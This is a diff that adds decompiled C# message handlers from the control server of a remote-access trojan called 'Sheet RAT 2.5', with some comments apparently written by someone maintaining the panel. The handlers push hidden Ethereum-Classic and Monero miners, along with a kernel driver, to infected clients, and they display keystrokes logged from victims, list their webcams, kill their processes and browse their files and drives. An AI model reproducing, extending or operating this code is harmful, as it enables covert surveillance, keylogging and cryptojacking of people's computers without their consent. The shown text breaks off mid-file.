+using Server.Connection; +using Server.Helper; +using System; +using System.Windows.Forms; +using System.IO; + +//#nullable disable +namespace Server.Message { + +internal class HandlerGetMiner +{ + public HandlerGetMiner(Clients client, string[] Messages) + { + if (File.Exists("Stub\\ethminer.exe")) + { + client.LastPiy = DateTime.Now; + CustomConsole.WriteLine(CustomConsole.Title.Information, "Send Etc Miner: " + client.Ip); + client.Sent += (Clients.BytesDelegate) (item => + { + client.LastPiy = DateTime.Now; + Program.form.Invoke((MethodInvoker) (() => Console.WriteLine($"{client.Ip} :{Methods.BytesToString((long) item)}"))); + }); + client.Send((object) ("SaveMiner<@>" + Convert.ToBase64String(Methods.Compress(File.ReadAllBytes("Stub\\ethminer.exe"))))); + } + else + client.Disconnected("Not Miner"); + } +} +} diff --git a/Server/Server/Message/HandlerGetMinerLibs.cs b/Server/Server/Message/HandlerGetMinerLibs.cs new file mode 100644 index 0000000..a77c2dc --- /dev/null +++ b/Server/Server/Message/HandlerGetMinerLibs.cs @@ -0,0 +1,30 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Message.HandlerGetMinerLibs +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using Server.Connection; +using Server.Helper; +using System; +using System.Windows.Forms; +using System.IO; + +//#nullable disable +namespace Server.Message { + +internal class HandlerGetMinerLibs +{ + public HandlerGetMinerLibs(Clients client, string[] Messages) + { + CustomConsole.WriteLine(CustomConsole.Title.Information, "Send Xmr Libs: " + client.Ip); + client.LastPiy = DateTime.Now; + client.Sent += (Clients.BytesDelegate) (item => + { + client.LastPiy = DateTime.Now; + Program.form.Invoke((MethodInvoker) (() => Console.WriteLine($"{client.Ip} :{Methods.BytesToString((long) item)}"))); + }); + client.Send((object) $"GetLibs<@><@>{Convert.ToBase64String(Methods.Compress(File.ReadAllBytes("Stub\\nvrtc-builtins64_112.dll")))}<@>{Convert.ToBase64String(Methods.Compress(File.ReadAllBytes("Stub\\nvrtc64_112_0.dll")))}<@>{Convert.ToBase64String(Methods.Compress(File.ReadAllBytes("Stub\\ddb64.dll")))}"); + } +} +} diff --git a/Server/Server/Message/HandlerGetMinerXmr.cs b/Server/Server/Message/HandlerGetMinerXmr.cs new file mode 100644 index 0000000..0790317 --- /dev/null +++ b/Server/Server/Message/HandlerGetMinerXmr.cs @@ -0,0 +1,35 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Message.HandlerGetMinerXmr +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using Server.Connection; +using Server.Helper; +using System; +using System.Windows.Forms; +using System.IO; + +//#nullable disable +namespace Server.Message { + +internal class HandlerGetMinerXmr +{ + public HandlerGetMinerXmr(Clients client, string[] Messages) + { + if (File.Exists("Stub\\xmrminer.exe")) + { + client.LastPiy = DateTime.Now; + CustomConsole.WriteLine(CustomConsole.Title.Information, "Send Xmr Miner: " + client.Ip); + client.Sent += (Clients.BytesDelegate) (item => + { + client.LastPiy = DateTime.Now; + Program.form.Invoke((MethodInvoker) (() => Console.WriteLine($"{client.Ip} :{Methods.BytesToString((long) item)}"))); + }); + client.Send((object) $"SaveMiner<@>{Convert.ToBase64String(Methods.Compress(File.ReadAllBytes("Stub\\xmrminer.exe")))}<@>{Convert.ToBase64String(Methods.Compress(File.ReadAllBytes("Stub\\WinRing0x64.sys")))}"); + } + else + client.Disconnected("Not Miner"); + } +} +} diff --git a/Server/Server/Message/HandlerGetWebcams.cs b/Server/Server/Message/HandlerGetWebcams.cs new file mode 100644 index 0000000..0713434 --- /dev/null +++ b/Server/Server/Message/HandlerGetWebcams.cs @@ -0,0 +1,43 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Message.HandlerGetWebcams +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using Server.Connection; +using Server.Forms; +using System.Windows.Forms; + +//#nullable disable +namespace Server.Message { + +internal class HandlerGetWebcams +{ + public HandlerGetWebcams(Clients client, string[] Messages) + { + FormRemoteCamera openForm = (FormRemoteCamera) Application.OpenForms["Webcam:" + client.ID]; + try + { + if (openForm != null) + { + openForm.PluginClient = client; + openForm.comboBox1.Items.Clear(); + string message = Messages[1]; + char[] chArray = new char[1]{ ',' }; + foreach (string str in message.Split(chArray)) + { + if (!string.IsNullOrWhiteSpace(str)) + openForm.comboBox1.Items.Add((object) str); + } + openForm.comboBox1.SelectedIndex = 0; + openForm.Refresh(); + } + else + client.Disconnected(); + } + catch + { + } + } +} +} diff --git a/Server/Server/Message/HandlerKeyLogger.cs b/Server/Server/Message/HandlerKeyLogger.cs new file mode 100644 index 0000000..a0582a2 --- /dev/null +++ b/Server/Server/Message/HandlerKeyLogger.cs @@ -0,0 +1,25 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Message.HandlerKeyLogger +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using Server.Connection; +using Server.Forms; +using System; +using System.Windows.Forms; +using System.Text; +using System.Windows.Forms; + +//#nullable disable +namespace Server.Message { + +internal class HandlerKeyLogger +{ + public HandlerKeyLogger(Clients client, string[] Messages) + { + FormKeyLogger keylogger = (FormKeyLogger) Application.OpenForms["KeyLogger:" + client.ID]; + keylogger.Invoke((MethodInvoker) (() => keylogger.metroTextBox1.AppendText(Encoding.UTF8.GetString(Convert.FromBase64String(Messages[1]))))); + } +} +} diff --git a/Server/Server/Message/HandlerKeyloggerConnect.cs b/Server/Server/Message/HandlerKeyloggerConnect.cs new file mode 100644 index 0000000..10e4c33 --- /dev/null +++ b/Server/Server/Message/HandlerKeyloggerConnect.cs @@ -0,0 +1,32 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Message.HandlerKeyloggerConnect +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using Server.Connection; +using Server.Forms; +using System; +using System.Windows.Forms; +using System.Windows.Forms; + +//#nullable disable +namespace Server.Message { + +internal class HandlerKeyloggerConnect +{ + public HandlerKeyloggerConnect(Clients client, string[] Messages) + { + client.ID = Messages[1]; + FormKeyLogger keylogger = (FormKeyLogger) Application.OpenForms["KeyLogger:" + client.ID]; + keylogger.Invoke((MethodInvoker) (() => + { + keylogger.PluginClient = client; + FormKeyLogger formKeyLogger = keylogger; + formKeyLogger.Text = $"{formKeyLogger.Text}: {client.ID}"; + keylogger.timer1.Start(); + keylogger.Refresh(); + })); + } +} +} diff --git a/Server/Server/Message/HandlerKillProcesses.cs b/Server/Server/Message/HandlerKillProcesses.cs new file mode 100644 index 0000000..4d57465 --- /dev/null +++ b/Server/Server/Message/HandlerKillProcesses.cs @@ -0,0 +1,48 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Message.HandlerKillProcesses +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using Server.Connection; +using Server.Forms; +using System; +using System.Windows.Forms; +using System.Collections; +using System.Text; +using System.Windows.Forms; + +//#nullable disable +namespace Server.Message { + +internal class HandlerKillProcesses +{ + public HandlerKillProcesses(Clients client, string[] Messages) + { + FormTaskMgr CT = (FormTaskMgr) Application.OpenForms["TaskMgr:" + client.ID]; + if (CT == null) + client.Disconnected(); + else + CT.Invoke((MethodInvoker) (() => + { + string str1 = Encoding.UTF8.GetString(Convert.FromBase64String(Messages[1])); + string[] separator = new string[1]{ "<++>" }; + foreach (string str2 in str1.Split(separator, StringSplitOptions.None)) + { + foreach (DataGridViewRow row in (IEnumerable) CT.metroGrid1.Rows) + { + string[] strArray = str2.Split(new string[1] + { + "<@>" + }, StringSplitOptions.None); + if ((string) row.Cells[0].Value == strArray[0] && strArray[1] == (string) row.Cells[1].Value) + { + CT.metroGrid1.Rows.Remove(row); + break; + } + } + } + })); + } +} +} diff --git a/Server/Server/Message/HandlerLog.cs b/Server/Server/Message/HandlerLog.cs new file mode 100644 index 0000000..18c2517 --- /dev/null +++ b/Server/Server/Message/HandlerLog.cs @@ -0,0 +1,20 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Message.HandlerLog +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using Server.Connection; +using System.Drawing; + +//#nullable disable +namespace Server.Message { + +internal class HandlerLog +{ + public HandlerLog(Clients client, string[] Messages) + { + HandlerLogs handlerLogs = new HandlerLogs(client.Ip, Messages[2], Color.FromName(Messages[1])); + } +} +} diff --git a/Server/Server/Message/HandlerLogs.cs b/Server/Server/Message/HandlerLogs.cs new file mode 100644 index 0000000..60e4ff3 --- /dev/null +++ b/Server/Server/Message/HandlerLogs.cs @@ -0,0 +1,105 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Message.HandlerLogs +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using System; +using System.Windows.Forms; +using System.Drawing; +using System.Collections.Generic; +using System.Diagnostics; + +//#nullable disable +namespace Server.Message { + +internal class HandlerLogs +{ + // --- FIX: Implement rate-limiting for log messages --- + private static DateTime lastLogTime = DateTime.MinValue; + private static readonly TimeSpan minLogInterval = TimeSpan.FromMilliseconds(100); // Adjust as needed + private static readonly Queue logQueue = new Queue(); + private static readonly object queueLock = new object(); + private static System.Threading.Timer processQueueTimer; + + static HandlerLogs() + { + // Initialize timer to process the queue periodically + processQueueTimer = new System.Threading.Timer(ProcessLogQueue, null, TimeSpan.Zero, TimeSpan.FromMilliseconds(500)); // Process every 500ms + } + + private static void ProcessLogQueue(object state) + { + if (Program.form == null || Program.form.GridLogs == null || !Program.form.GridLogs.IsHandleCreated) + return; + + Program.form.GridLogs.Invoke((MethodInvoker)(() => + { + lock (queueLock) + { + while (logQueue.Count > 0) + { + DataGridViewRow item = logQueue.Dequeue(); + // Limit the number of rows to prevent excessive memory usage and UI lag + if (Program.form.GridLogs.Rows.Count >= 1000) // Keep max 1000 log entries + { + Program.form.GridLogs.Rows.RemoveAt(Program.form.GridLogs.Rows.Count - 1); + } + Program.form.GridLogs.Rows.Insert(0, item); + } + } + })); + } + + public HandlerLogs(string Client, string Message, Color forecolor) + { + // --- FIX: Basic input validation for log message content --- + if (string.IsNullOrWhiteSpace(Client) || string.IsNullOrWhiteSpace(Message)) + { + Console.WriteLine("Attempted to log empty or whitespace message. Ignoring."); + return; + } + + // Assuming the dynamic key is passed as the last element in the message array for log messages + // This needs to be coordinated with how the client sends log messages. + // For now, I'll add a placeholder for key validation for log messages. + // If this HandlerLogs is only for internal server logging, then key validation is not needed here. + // If it's triggered by client messages, then the message format needs to be adjusted to include the key. + // Given the previous exploit analysis, the HandlerLogs constructor is called internally by the server + // when a client connects or other events occur. So, no key validation is needed here. + + DataGridViewRow Item = new DataGridViewRow(); + Item.DefaultCellStyle = new DataGridViewCellStyle() + { + Alignment = DataGridViewContentAlignment.MiddleLeft, + ForeColor = forecolor, + SelectionForeColor = forecolor, + Font = new Font("Segoe UI", 11f, FontStyle.Regular, GraphicsUnit.Pixel), + WrapMode = DataGridViewTriState.False + }; + DataGridViewCellCollection cells1 = Item.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell1 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell1.Value = (object) Client; + DataGridViewTextBoxCell gridViewTextBoxCell2 = gridViewTextBoxCell1; + cells1.Add((DataGridViewCell) gridViewTextBoxCell2); + DataGridViewCellCollection cells2 = Item.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell3 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell3.Value = (object) DateTime.Now.ToString("HH:mm:ss"); + DataGridViewTextBoxCell gridViewTextBoxCell4 = gridViewTextBoxCell3; + cells2.Add((DataGridViewCell) gridViewTextBoxCell4); + DataGridViewCellCollection cells3 = Item.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell5 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell5.Value = (object) Message; + DataGridViewTextBoxCell gridViewTextBoxCell6 = gridViewTextBoxCell5; + cells3.Add((DataGridViewCell) gridViewTextBoxCell6); + + // --- FIX: Add log message to a queue instead of directly updating UI --- + lock (queueLock) + { + logQueue.Enqueue(Item); + } + } +} +} + + diff --git a/Server/Server/Message/HandlerManagerDrivers.cs b/Server/Server/Message/HandlerManagerDrivers.cs new file mode 100644 index 0000000..cdc9773 --- /dev/null +++ b/Server/Server/Message/HandlerManagerDrivers.cs @@ -0,0 +1,207 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Message.HandlerManagerDrivers +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using Server.Connection; +using Server.Forms; +using Server.Properties; +using System; +using System.Windows.Forms; +using System.Collections.Generic; +using System.Drawing; +using System.Text; +using System.Windows.Forms; + +//#nullable disable +namespace Server.Message { + +internal class HandlerManagerDrivers +{ + public HandlerManagerDrivers(Clients client, string[] Messages) + { + FormFileManager FM = (FormFileManager) Application.OpenForms["FileManager:" + client.ID]; + if (FM == null) + client.Disconnected(); + else + FM.Invoke((MethodInvoker) (() => + { + FM.metroGridPathes.Rows.Clear(); + List dataGridViewRowList = new List(); + dataGridViewRowList.Add(new DataGridViewRow()); + dataGridViewRowList.Add(new DataGridViewRow()); + dataGridViewRowList.Add(new DataGridViewRow()); + dataGridViewRowList.Add(new DataGridViewRow()); + dataGridViewRowList.Add(new DataGridViewRow()); + dataGridViewRowList.Add(new DataGridViewRow()); + dataGridViewRowList.Add(new DataGridViewRow()); + dataGridViewRowList.Add(new DataGridViewRow()); + dataGridViewRowList.Add(new DataGridViewRow()); + dataGridViewRowList.Add(new DataGridViewRow()); + DataGridViewCellCollection cells1 = dataGridViewRowList[0].Cells; + cells1.Add((DataGridViewCell) new DataGridViewImageCell() + { + Value = (object) new Bitmap((Image) Resources.downloadfolderblank_99350, 20, 20), + ImageLayout = DataGridViewImageCellLayout.Stretch + }); + DataGridViewCellCollection cells2 = dataGridViewRowList[1].Cells; + cells2.Add((DataGridViewCell) new DataGridViewImageCell() + { + Value = (object) new Bitmap((Image) Resources.downloadfolderblank_99350, 20, 20), + ImageLayout = DataGridViewImageCellLayout.Stretch + }); + DataGridViewCellCollection cells3 = dataGridViewRowList[2].Cells; + cells3.Add((DataGridViewCell) new DataGridViewImageCell() + { + Value = (object) new Bitmap((Image) Resources.downloadfolderblank_99350, 20, 20), + ImageLayout = DataGridViewImageCellLayout.Stretch + }); + DataGridViewCellCollection cells4 = dataGridViewRowList[3].Cells; + cells4.Add((DataGridViewCell) new DataGridViewImageCell() + { + Value = (object) new Bitmap((Image) Resources.downloadfolderblank_99350, 20, 20), + ImageLayout = DataGridViewImageCellLayout.Stretch + }); + DataGridViewCellCollection cells5 = dataGridViewRowList[4].Cells; + cells5.Add((DataGridViewCell) new DataGridViewImageCell() + { + Value = (object) new Bitmap((Image) Resources.downloadfolderblank_99350, 20, 20), + ImageLayout = DataGridViewImageCellLayout.Stretch + }); + DataGridViewCellCollection cells6 = dataGridViewRowList[5].Cells; + cells6.Add((DataGridViewCell) new DataGridViewImageCell() + { + Value = (object) new Bitmap((Image) Resources.downloadfolderblank_99350, 20, 20), + ImageLayout = DataGridViewImageCellLayout.Stretch + }); + DataGridViewCellCollection cells7 = dataGridViewRowList[6].Cells; + cells7.Add((DataGridViewCell) new DataGridViewImageCell() + { + Value = (object) new Bitmap((Image) Resources.downloadfolderblank_99350, 20, 20), + ImageLayout = DataGridViewImageCellLayout.Stretch + }); + DataGridViewCellCollection cells8 = dataGridViewRowList[7].Cells; + cells8.Add((DataGridViewCell) new DataGridViewImageCell() + { + Value = (object) new Bitmap((Image) Resources.downloadfolderblank_99350, 20, 20), + ImageLayout = DataGridViewImageCellLayout.Stretch + }); + DataGridViewCellCollection cells9 = dataGridViewRowList[8].Cells; + cells9.Add((DataGridViewCell) new DataGridViewImageCell() + { + Value = (object) new Bitmap((Image) Resources.downloadfolderblank_99350, 20, 20), + ImageLayout = DataGridViewImageCellLayout.Stretch + }); + DataGridViewCellCollection cells10 = dataGridViewRowList[9].Cells; + cells10.Add((DataGridViewCell) new DataGridViewImageCell() + { + Value = (object) new Bitmap((Image) Resources.downloadfolderblank_99350, 20, 20), + ImageLayout = DataGridViewImageCellLayout.Stretch + }); + DataGridViewCellCollection cells11 = dataGridViewRowList[0].Cells; + cells11.Add((DataGridViewCell) new DataGridViewTextBoxCell() + { + Value = (object) "AppData" + }); + DataGridViewCellCollection cells12 = dataGridViewRowList[1].Cells; + cells12.Add((DataGridViewCell) new DataGridViewTextBoxCell() + { + Value = (object) "Download" + }); + DataGridViewCellCollection cells13 = dataGridViewRowList[2].Cells; + cells13.Add((DataGridViewCell) new DataGridViewTextBoxCell() + { + Value = (object) "Windows" + }); + DataGridViewCellCollection cells14 = dataGridViewRowList[3].Cells; + cells14.Add((DataGridViewCell) new DataGridViewTextBoxCell() + { + Value = (object) "Desktop" + }); + DataGridViewCellCollection cells15 = dataGridViewRowList[4].Cells; + cells15.Add((DataGridViewCell) new DataGridViewTextBoxCell() + { + Value = (object) "UserProfile" + }); + DataGridViewCellCollection cells16 = dataGridViewRowList[5].Cells; + cells16.Add((DataGridViewCell) new DataGridViewTextBoxCell() + { + Value = (object) "StartUp" + }); + DataGridViewCellCollection cells17 = dataGridViewRowList[6].Cells; + cells17.Add((DataGridViewCell) new DataGridViewTextBoxCell() + { + Value = (object) "System32" + }); + DataGridViewCellCollection cells18 = dataGridViewRowList[7].Cells; + cells18.Add((DataGridViewCell) new DataGridViewTextBoxCell() + { + Value = (object) "MyPictures" + }); + DataGridViewCellCollection cells19 = dataGridViewRowList[8].Cells; + cells19.Add((DataGridViewCell) new DataGridViewTextBoxCell() + { + Value = (object) "Temp" + }); + DataGridViewCellCollection cells20 = dataGridViewRowList[9].Cells; + cells20.Add((DataGridViewCell) new DataGridViewTextBoxCell() + { + Value = (object) "ProgramData" + }); + string[] strArray1 = Encoding.UTF8.GetString(Convert.FromBase64String(Messages[1])).Split(new string[1] + { + "," + }, StringSplitOptions.None); + for (int index = 0; index < strArray1.Length; ++index) + { + string[] strArray2 = strArray1[index].Split(new string[1] + { + "$^$" + }, StringSplitOptions.None); + string str1 = strArray2[0]; + string str2 = strArray2[1]; + if (strArray1[index].Length > 0) + { + DataGridViewRow dataGridViewRow = new DataGridViewRow(); + switch (str2) + { + case "Fixed": + DataGridViewCellCollection cells21 = dataGridViewRow.Cells; + cells21.Add((DataGridViewCell) new DataGridViewImageCell() + { + Value = (object) new Bitmap(FM.imageList3.Images["AsyncHDDFixed.png"], 20, 20), + ImageLayout = DataGridViewImageCellLayout.Stretch + }); + break; + case "Removable": + DataGridViewCellCollection cells22 = dataGridViewRow.Cells; + cells22.Add((DataGridViewCell) new DataGridViewImageCell() + { + Value = (object) new Bitmap(FM.imageList3.Images["AsyncUSB.png"], 20, 20), + ImageLayout = DataGridViewImageCellLayout.Stretch + }); + break; + default: + DataGridViewCellCollection cells23 = dataGridViewRow.Cells; + cells23.Add((DataGridViewCell) new DataGridViewImageCell() + { + Value = (object) new Bitmap(FM.imageList3.Images["AsyncHDDFixed.png"], 20, 20), + ImageLayout = DataGridViewImageCellLayout.Stretch + }); + break; + } + DataGridViewCellCollection cells24 = dataGridViewRow.Cells; + cells24.Add((DataGridViewCell) new DataGridViewTextBoxCell() + { + Value = (object) str1 + }); + dataGridViewRowList.Add(dataGridViewRow); + } + } + FM.metroGridPathes.Rows.AddRange(dataGridViewRowList.ToArray()); + FM.client.LastPiy = DateTime.Now; + })); + } +} +} diff --git a/Server/Server/Message/HandlerManagerGetPath.cs b/Server/Server/Message/HandlerManagerGetPath.cs new file mode 100644 index 0000000..5d2fea1 --- /dev/null +++ b/Server/Server/Message/HandlerManagerGetPath.cs @@ -0,0 +1,330 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Message.HandlerManagerGetPath +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using Server.Connection; +using Server.Forms; +using Server.Helper; +using Server.Properties; +using System; +using System.Windows.Forms; +using System.Collections.Generic; +using System.Drawing; +using System.IO; +using System.Text; +using System.Windows.Forms; + +//#nullable disable +namespace Server.Message { + +internal class HandlerManagerGetPath +{ + public HandlerManagerGetPath(Clients client, string[] Messages) + { + HandlerManagerGetPath handlerManagerGetPath = this; + FormFileManager FM = (FormFileManager) Application.OpenForms["FileManager:" + client.ID]; + if (FM == null) + client.Disconnected(); + else + FM.Invoke((MethodInvoker) (() => + { + FM.metroGridDirictorys.Rows.Clear(); + FM.metroGridDirictorys.Rows.AddRange(handlerManagerGetPath.GetFolders(Messages).ToArray()); + FM.metroGridDirictorys.Rows.AddRange(handlerManagerGetPath.GetFiles(Messages).ToArray()); + FM.TextBoxPathForFile.Text = Messages[3]; + FM.client.LastPiy = DateTime.Now; + })); + } + + private List GetFolders(string[] Messages) + { + string[] strArray = Encoding.UTF8.GetString(Convert.FromBase64String(Messages[1])).Split(new string[1] + { + "," + }, StringSplitOptions.None); + List folders = new List(); + int num = 0; + for (int index = 0; index < strArray.Length; ++index) + { + if (strArray[index].Length > 0) + { + DataGridViewRow dataGridViewRow = new DataGridViewRow(); + DataGridViewCellCollection cells1 = dataGridViewRow.Cells; + DataGridViewImageCell gridViewImageCell = new DataGridViewImageCell(); + gridViewImageCell.Value = (object) new Bitmap((Image) Resources.downloadfolderblank_99350, 20, 20); + gridViewImageCell.ImageLayout = DataGridViewImageCellLayout.Stretch; + cells1.Add((DataGridViewCell) gridViewImageCell); + DataGridViewCellCollection cells2 = dataGridViewRow.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell1 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell1.Value = (object) strArray[index]; + cells2.Add((DataGridViewCell) gridViewTextBoxCell1); + DataGridViewCellCollection cells3 = dataGridViewRow.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell2 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell2.Value = (object) ""; + cells3.Add((DataGridViewCell) gridViewTextBoxCell2); + DataGridViewCellCollection cells4 = dataGridViewRow.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell3 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell3.Value = (object) "Folders"; + cells4.Add((DataGridViewCell) gridViewTextBoxCell3); + folders.Add(dataGridViewRow); + ++num; + } + } + return folders; + } + + private List GetFiles(string[] Messages) + { + string[] strArray1 = Encoding.UTF8.GetString(Convert.FromBase64String(Messages[2])).Split(new string[1] + { + "," + }, StringSplitOptions.None); + List files = new List(); + for (int index = 0; index < strArray1.Length; ++index) + { + string[] strArray2 = strArray1[index].Split(new string[1] + { + "<@>" + }, StringSplitOptions.None); + if (strArray2.Length > 1) + { + string fileName = strArray2[0]; + string s = strArray2[1]; + string str = strArray2[2]; + DataGridViewRow dataGridViewRow = new DataGridViewRow(); + DataGridViewCellCollection cells1 = dataGridViewRow.Cells; + DataGridViewImageCell gridViewImageCell = new DataGridViewImageCell(); + gridViewImageCell.Value = (object) new Bitmap(Image.FromStream((Stream) new MemoryStream(Convert.FromBase64String(s))), 20, 20); + gridViewImageCell.ImageLayout = DataGridViewImageCellLayout.Stretch; + cells1.Add((DataGridViewCell) gridViewImageCell); + DataGridViewCellCollection cells2 = dataGridViewRow.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell1 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell1.Value = (object) fileName; + cells2.Add((DataGridViewCell) gridViewTextBoxCell1); + DataGridViewCellCollection cells3 = dataGridViewRow.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell2 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell2.Value = (object) Methods.BytesToString(Convert.ToInt64(str)); + cells3.Add((DataGridViewCell) gridViewTextBoxCell2); + switch (new FileInfo(fileName).Extension) + { + case ".exe": + DataGridViewCellCollection cells4 = dataGridViewRow.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell3 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell3.Value = (object) "application"; + cells4.Add((DataGridViewCell) gridViewTextBoxCell3); + break; + case ".com": + DataGridViewCellCollection cells5 = dataGridViewRow.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell4 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell4.Value = (object) "ms-dos application"; + cells5.Add((DataGridViewCell) gridViewTextBoxCell4); + break; + case ".scr": + DataGridViewCellCollection cells6 = dataGridViewRow.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell5 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell5.Value = (object) "microsoft script application"; + cells6.Add((DataGridViewCell) gridViewTextBoxCell5); + break; + case ".lnk": + DataGridViewCellCollection cells7 = dataGridViewRow.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell6 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell6.Value = (object) "label"; + cells7.Add((DataGridViewCell) gridViewTextBoxCell6); + break; + case ".dll": + DataGridViewCellCollection cells8 = dataGridViewRow.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell7 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell7.Value = (object) "Dynamic Layout Library"; + cells8.Add((DataGridViewCell) gridViewTextBoxCell7); + break; + case ".jpg": + DataGridViewCellCollection cells9 = dataGridViewRow.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell8 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell8.Value = (object) "jpg image"; + cells9.Add((DataGridViewCell) gridViewTextBoxCell8); + break; + case ".jpeg": + DataGridViewCellCollection cells10 = dataGridViewRow.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell9 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell9.Value = (object) "jpeg image"; + cells10.Add((DataGridViewCell) gridViewTextBoxCell9); + break; + case ".png": + DataGridViewCellCollection cells11 = dataGridViewRow.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell10 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell10.Value = (object) "png image"; + cells11.Add((DataGridViewCell) gridViewTextBoxCell10); + break; + case ".ico": + DataGridViewCellCollection cells12 = dataGridViewRow.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell11 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell11.Value = (object) "icon image"; + cells12.Add((DataGridViewCell) gridViewTextBoxCell11); + break; + case ".gif": + DataGridViewCellCollection cells13 = dataGridViewRow.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell12 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell12.Value = (object) "gif image"; + cells13.Add((DataGridViewCell) gridViewTextBoxCell12); + break; + case ".json": + DataGridViewCellCollection cells14 = dataGridViewRow.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell13 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell13.Value = (object) "database json"; + cells14.Add((DataGridViewCell) gridViewTextBoxCell13); + break; + case ".mp4": + DataGridViewCellCollection cells15 = dataGridViewRow.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell14 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell14.Value = (object) "mp4 video"; + cells15.Add((DataGridViewCell) gridViewTextBoxCell14); + break; + case ".mp3": + DataGridViewCellCollection cells16 = dataGridViewRow.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell15 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell15.Value = (object) "mp3 audio"; + cells16.Add((DataGridViewCell) gridViewTextBoxCell15); + break; + case ".wav": + DataGridViewCellCollection cells17 = dataGridViewRow.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell16 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell16.Value = (object) "wav audio"; + cells17.Add((DataGridViewCell) gridViewTextBoxCell16); + break; + case ".iso": + DataGridViewCellCollection cells18 = dataGridViewRow.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell17 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell17.Value = (object) "iso archive"; + cells18.Add((DataGridViewCell) gridViewTextBoxCell17); + break; + case ".zip": + DataGridViewCellCollection cells19 = dataGridViewRow.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell18 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell18.Value = (object) "zip archive"; + cells19.Add((DataGridViewCell) gridViewTextBoxCell18); + break; + case ".rar": + DataGridViewCellCollection cells20 = dataGridViewRow.Cells; + DataGridViewTextBoxCell 